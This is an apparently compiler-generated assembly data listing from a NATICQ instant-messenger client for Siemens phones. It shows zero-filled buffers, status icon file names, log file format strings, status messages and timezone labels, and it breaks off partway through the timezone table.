`?`: \ 00002244 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002254 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002264 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002274 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002284 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002294 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000022A4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000022B4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000022C4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000022D4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000022E4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000022F4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002304 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002314 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002324 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002334 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002344 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002354 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002364 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002374 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002384 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002394 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000023A4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000023B4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000023C4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000023D4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000023E4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000023F4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002404 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002414 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002424 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002434 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002444 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002454 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002464 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002474 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002484 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002494 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 000024A4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000024B4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000024C4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000024D4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 000024E4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 000024F4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002504 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002514 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002524 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002534 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002544 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002554 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002564 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002574 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002584 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002594 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000025A4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000025B4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 000025C4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000025D4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000025E4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000025F4 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002604 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002614 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002624 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002634 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002644 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ `?`: \ 00002650 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002660 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002670 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002680 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002690 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000026A0 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 000026B0 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000026C0 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000026D0 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 000026E0 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000026F0 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002700 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002710 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002720 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002730 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002740 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 00002750 53656E64696E DC8 "Sending online time..." \ 67206F6E6C69 \ 6E652074696D \ 652E2E2E00 \ 00002767 00 DC8 0 \ `?`: \ 00002768 53656E64696E DC8 "Sending msg info..." \ 67206D736720 \ 696E666F2E2E \ 2E00 \ `?`: \ 0000277C 53656E64696E DC8 "Sending battery info..." \ 672062617474 \ 65727920696E \ 666F2E2E2E00 \ `?`: \ 00002794 53656E64696E DC8 "Sending mod info..." \ 67206D6F6420 \ 696E666F2E2E \ 2E00 \ `?`: \ 000027A8 53656E64696E DC8 "Sending offline info..." \ 67206F66666C \ 696E6520696E \ 666F2E2E2E00 \ `?`: \ 000027C0 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000027D0 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000027E0 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000027F0 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002800 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002810 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002820 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002830 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002840 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002850 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002860 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002870 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002880 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002890 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000028A0 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000028B0 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000028C0 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0 \ 0000 \ `?`: \ 000028C8 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000028D8 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ `?`: \ 000028E8 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 000028F8 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002908 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ 00002918 000000000000 DC8 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 \ 000000000000 \ 00000000 \ In segment DATA_ID, align 4, align-sorted \ `?`: \ 00000000 04000000 DC32 4 \ In segment DATA_ID, align 4, align-sorted \ `?`: \ 00000000 01000000 DC32 1 \ In segment DATA_ID, align 4, align-sorted \ `?`: \ 00000000 FF0F0000 DC16 4095, 0 \ 00000004 ........ DC32 `?`: \ 00000000 18000000 DC16 24, 0 \ 00000004 ........ DC32 `?` \ 00000008 01000000 DC16 1, 0 \ 0000000C ........ DC32 `?` \ 00000010 3D000000 DC16 61, 0 \ 00000014 FBC0FF7F DC32 2147467515 \ In segment DATA_ID, align 4, align-sorted \ `?`: \ 00000000 ........0000 DC32 input_awaymsg_sk, 0 \ 0000 \ In segment DATA_ID, align 4, align-sorted \ `?`: \ 00000000 ............ DC32 ChangeVibraContact, ChangeSoundContact, ChangeAutoMsg \ ............ \ 0000000C ............ DC32 ChangeShowXstatus, ChangeAutobot \ .... \ In segment DATA_C, align 4, align-sorted \ 00000000 4E2F4100 DC8 "N/A" \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 766973332E70 DC8 "vis3.png" \ 6E6700 \ 00000009 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 766973322E70 DC8 "vis2.png" \ 6E6700 \ 00000009 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 766973312E70 DC8 "vis1.png" \ 6E6700 \ 00000009 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 73657474696E DC8 "settings.png" \ 67732E706E67 \ 00 \ 0000000D 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 70696E672E70 DC8 "ping.png" \ 6E6700 \ 00000009 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 6C6F676F2E70 DC8 "logo.png" \ 6E6700 \ 00000009 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 686561642E70 DC8 "head.png" \ 6E6700 \ 00000009 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 616464636F6E DC8 "addcont.png" \ 742E706E6700 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 6E756C6C2E70 DC8 "null.png" \ 6E6700 \ 00000009 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 67726F75706F DC8 "groupoff.png" \ 66662E706E67 \ 00 \ 0000000D 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 67726F75706F DC8 "groupon.png" \ 6E2E706E6700 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 756E6B6E6F77 DC8 "unknown.png" \ 6E2E706E6700 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 6D6573736167 DC8 "message.png" \ 652E706E6700 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 6666632E706E DC8 "ffc.png" \ 6700 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 6F6E6C696E65 DC8 "online.png" \ 2E706E6700 \ 0000000B 00 DC8 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 776F726B2E70 DC8 "work.png" \ 6E6700 \ 00000009 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 6C756E63682E DC8 "lunch.png" \ 706E6700 \ 0000000A 0000 DC8 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 686F6D652E70 DC8 "home.png" \ 6E6700 \ 00000009 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 6576696C2E70 DC8 "evil.png" \ 6E6700 \ 00000009 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 646570726573 DC8 "depression.png" \ 73696F6E2E70 \ 6E6700 \ 0000000F 00 DC8 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 646E642E706E DC8 "dnd.png" \ 6700 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 6F6363757069 DC8 "occupied.png" \ 65642E706E67 \ 00 \ 0000000D 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 6E612E706E67 DC8 "na.png" \ 00 \ 00000007 00 DC8 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 617761792E70 DC8 "away.png" \ 6E6700 \ 00000009 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 696E76697369 DC8 "invisible.png" \ 626C652E706E \ 6700 \ 0000000E 0000 DC8 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 6F66666C696E DC8 "offline.png" \ 652E706E6700 \ In segment DATA_C, align 1, align-sorted \ 00000000 00 DC8 "" \ In segment DATA_C, align 1, align-sorted \ 00000000 3A0A00 DC8 ":\012" \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 5B415D202573 DC8 "[A] %s" \ 00 \ 00000007 00 DC8 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 5B565D00 DC8 "[V]" \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 5B535D00 DC8 "[S]" \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 4E4154494351 DC8 "NATICQ: %d" \ 3A20256400 \ 0000000B 00 DC8 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 616263646566 DC8 61H, 62H, 63H, 64H, 65H, 66H, 67H, 68H \ 6768 \ 00000008 696A6B6C6D6E DC8 69H, 6AH, 6BH, 6CH, 6DH, 6EH, 6FH, 70H \ 6F70 \ 00000010 717273747576 DC8 71H, 72H, 73H, 74H, 75H, 76H, 77H, 78H \ 7778 \ 00000018 797A41424344 DC8 79H, 7AH, 41H, 42H, 43H, 44H, 45H, 46H \ 4546 \ 00000020 4748494A4B4C DC8 47H, 48H, 49H, 4AH, 4BH, 4CH, 4DH, 4EH \ 4D4E \ 00000028 4F5051525354 DC8 4FH, 50H, 51H, 52H, 53H, 54H, 55H, 56H \ 5556 \ 00000030 5758595A3031 DC8 57H, 58H, 59H, 5AH, 30H, 31H, 32H, 33H \ 3233 \ 00000038 343536373839 DC8 34H, 35H, 36H, 37H, 38H, 39H, 24H, 2DH \ 242D \ 00000040 5F2E2B212A27 DC8 5FH, 2EH, 2BH, 21H, 2AH, 27H, 28H, 29H \ 2829 \ 00000048 2C253B3A4026 DC8 2CH, 25H, 3BH, 3AH, 40H, 26H, 3DH, 2FH \ 3D2F \ 00000050 3FE0E1E2E3E4 DC8 3FH, 0E0H, 0E1H, 0E2H, 0E3H, 0E4H, 0E5H, 0B8H \ E5B8 \ 00000058 E6E7E8E9EAEB DC8 0E6H, 0E7H, 0E8H, 0E9H, 0EAH, 0EBH, 0ECH, 0EDH \ ECED \ 00000060 EEEFF0F1F2F3 DC8 0EEH, 0EFH, 0F0H, 0F1H, 0F2H, 0F3H, 0F4H, 0F5H \ F4F5 \ 00000068 F6F7F8F9FAFB DC8 0F6H, 0F7H, 0F8H, 0F9H, 0FAH, 0FBH, 0FCH, 0FDH \ FCFD \ 00000070 FEFFC0C1C2C3 DC8 0FEH, 0FFH, 0C0H, 0C1H, 0C2H, 0C3H, 0C4H, 0C5H \ C4C5 \ 00000078 A8C6C7C8C9CA DC8 0A8H, 0C6H, 0C7H, 0C8H, 0C9H, 0CAH, 0CBH, 0CCH \ CBCC \ 00000080 CDCECFD0D1D2 DC8 0CDH, 0CEH, 0CFH, 0D0H, 0D1H, 0D2H, 0D3H, 0D4H \ D3D4 \ 00000088 D5D6D7D8D9DA DC8 0D5H, 0D6H, 0D7H, 0D8H, 0D9H, 0DAH, 0DBH, 0DCH \ DBDC \ 00000090 DDDEDF00 DC8 0DDH, 0DEH, 0DFH, 0 \ 00000094 687474703A2F DC8 "http://" \ 2F00 \ 0000009C 7777772E00 DC8 "www." \ 000000A1 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 CCE5EDFE00 DC8 "\314\345\355\376" \ 00000005 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 25735C25755C DC8 "%s\\%u\\%s(%d).txt" \ 257328256429 \ 2E74787400 \ 00000011 000000 DC8 0, 0, 0 \ 00000014 25735C257328 DC8 "%s\\%s(%d).txt" \ 2564292E7478 \ 7400 \ 00000022 0000 DC8 0, 0 \ In segment DATA_C, align 4, align-sorted \ 00000000 46464300 DC8 "FFC" \ In segment DATA_C, align 4, align-sorted \ 00000000 444E4400 DC8 "DND" \ In segment DATA_C, align 1, align-sorted \ 00000000 257500 DC8 "%u" \ In segment DATA_C, align 1, align-sorted \ 00000000 236300 DC8 "#c" \ In segment DATA_C, align 1, align-sorted \ 00000000 237300 DC8 "#s" \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 253032643A25 DC8 "%02d:%02d:%02d %02d.%02d %s:" \ 3032643A2530 \ 326420253032 \ 642E25303264 \ 2025733A00 \ 0000001D 000000 DC8 0, 0, 0 \ 00000020 253032643A25 DC8 "%02d:%02d:%02d %02d.%02d %s:\015\012" \ 3032643A2530 \ 326420253032 \ 642E25303264 \ 2025733A0D0A \ 00 \ 0000003F 00 DC8 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 25733A202573 DC8 "%s: %s" \ 00 \ 00000007 00 DC8 0 \ In segment DATA_C, align 1, align-sorted \ 00000000 257300 DC8 "%s" \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 5369655F2530 DC8 "Sie_%04d" \ 346400 \ 00000009 000000 DC8 0, 0, 0 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 53656E642065 DC8 "Send error!" \ 72726F722100 \ 0000000C 53656E642064 DC8 "Send delayed..." \ 656C61796564 \ 2E2E2E00 \ 0000001C 73656E642072 DC8 "send res %d" \ 657320256400 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 25735C484541 DC8 "%s\\HEAD.png" \ 442E706E6700 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 5C626F742E74 DC8 "\\bot.txt" \ 787400 \ 00000009 000000 DC8 0, 0, 0 \ 0000000C 5C626F745F25 DC8 "\\bot_%d.txt" \ 642E74787400 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 5C302E747874 DC8 "\\0.txt" \ 00 \ 00000007 00 DC8 0 \ 00000008 5C25642E7478 DC8 "\\%d.txt" \ 7400 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 417761792066 DC8 "Away from [%s]" \ 726F6D205B25 \ 735D00 \ 0000000F 00 DC8 0 \ In segment DATA_C, align 4, align-sorted \ `?_1`: \ 00000000 B0B5041C0025 DC8 176, 181, 4, 28, 0, 37, 5, 97 \ 0561 \ In segment DATA_C, align 4, align-sorted \ `?`: \ 00000000 474D54202B31 DC8 "GMT +13:00" \ 333A303000 \ 0000000B 00 DC8 0 \ 0000000C 474D54202B31 DC8 "GMT +12:00" \ 323A303000 \ 00000017 00 DC8 0 \ 00000018 474D54202B31 DC8 "GMT +11:00" \ 313A303000 \ 00000023 00 DC8 0 \ 00000024 474D54202B31 DC8 "GMT +10:00" \ 303A303000 \ 0000002F 00 DC8 0 \ 00000030 474D54202B30 DC8 "GMT +09:30" \ 393A333000 \ 0000003B 00 DC8 0 \ 0000003C 474D54202B30 DC8 "GMT +09:00" \ 393A303000 \ 00000047 00 DC8 0 \ 00000048 474D54202B30 DC8 "GMT +08:00" \ 383A303000 \ 00000053 00 DC8 0 \ 00000054 474D54202B30 DC8 "GMT +07:00" \ 373A303000 \ 0000005F 00 DC8 0 \ 00000060 474D54202B30 DC8 "GMT +06:30" \ 363A333000 \ 0000006B 00 DC8 0 \ 0000006C 474D54202B30 DC8 "GMT +06:00" \ 363A303000 \ 00000077 00 DC8 0 \ 00000078 474D54202B30 DC8 "GMT +05:45" \ 353A343500 \ 00000083 00 DC8 0 \ 00000084 474D54202B30 DC8 "GMT +05:30" \ 353A333000 \ 0000008F 00 DC8 0 \ 00000090 474D54202B30 DC8 "GMT +05:00" \ 353A303000 \ 0000009B 00 DC8 0 \ 0000009C 474D54202B30 DC8 "GMT +04:30" \ 343A333000 \ 000000A7 00 DC8 0 \ 000000A8 474D54202B30 DC8 "GMT +04:00" \ 343A303000 \ 000000B3 00 DC8 0 \ 000000B4 474D54202B30 DC8 "GMT +03:30" \ 333A333000 \ 000000BF 00 DC8 0 \ 000000C0 474D54202B30 DC8 "GMT 